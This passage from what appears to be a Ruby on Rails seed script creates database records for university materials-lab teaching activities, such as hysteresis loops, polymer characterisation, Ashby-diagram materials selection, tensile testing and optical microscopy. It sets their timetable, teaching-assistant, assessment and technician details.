resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a460.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a460.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a460.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a460.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a461 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 3)\n at461 = ActivityTimetable.where(activity_id: a461.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a461.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a461.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a461.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a461.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a461.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a462 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"225\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 5)\n at462 = ActivityTimetable.where(activity_id: a462.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a462.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a462.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a462.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a462.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a462.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a463 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"225\").first_or_create!(name: \"Materials characterisation\",\n name_abrv: \"MATCHARAC\", archived: false, in_drive: false, user_id: 2)\n at463 = ActivityTimetable.where(activity_id: a463.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a463.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a463.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a463.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a463.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a463.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a464 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 3)\n at464 = ActivityTimetable.where(activity_id: a464.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a464.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a464.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a464.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a464.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a464.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a465 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 2)\n at465 = ActivityTimetable.where(activity_id: a465.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a465.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a465.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a465.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a465.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a465.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a466 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 3)\n at466 = ActivityTimetable.where(activity_id: a466.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a466.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a466.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a466.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a466.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a466.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a467 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at467 = ActivityTimetable.where(activity_id: a467.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a467.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a467.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a467.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a467.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a467.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a468 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at468 = ActivityTimetable.where(activity_id: a468.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a468.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a468.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a468.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a468.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a468.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a469 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at469 = ActivityTimetable.where(activity_id: a469.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a469.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a469.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a469.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a469.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a469.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a470 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 1)\n at470 = ActivityTimetable.where(activity_id: a470.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a470.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a470.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a470.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a470.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a470.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a471 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 4)\n at471 = ActivityTimetable.where(activity_id: a471.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a471.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a471.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a471.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a471.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a471.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a472 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 3)\n at472 = ActivityTimetable.where(activity_id: a472.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a472.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a472.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a472.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a472.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a472.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a473 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at473 = ActivityTimetable.where(activity_id: a473.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a473.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a473.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a473.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a473.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a473.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a474 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at474 = ActivityTimetable.where(activity_id: a474.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a474.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a474.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a474.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a474.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a474.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a475 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"230\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: false, in_drive: false, user_id: 5)\n at475 = ActivityTimetable.where(activity_id: a475.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a475.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a475.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a475.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a475.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a475.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a476 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"231\").first_or_create!(name: \"Nylon testing\",\n name_abrv: \"NYLONTESTING\", archived: false, in_drive: false, user_id: 1)\n at476 = ActivityTimetable.where(activity_id: a476.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a476.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a476.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a476.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a476.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a476.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a477 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"232\").first_or_create!(name: \"Optical Microscopy - Metals I\",\n name_abrv: \"OMMETALS1\", archived: false, in_drive: false, user_id: 3)\n at477 = ActivityTimetable.where(activity_id: a477.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a477.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a477.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a477.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a477.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a477.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a478 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"233\").first_or_create!(name: \"Optical Microscopy - Metals II\",\n name_abrv: \"OMMETALS2\", archived: false, in_drive: false, user_id: 5)\n at478 = ActivityTimetable.where(activity_id: a478.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a478.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a478.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a478.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 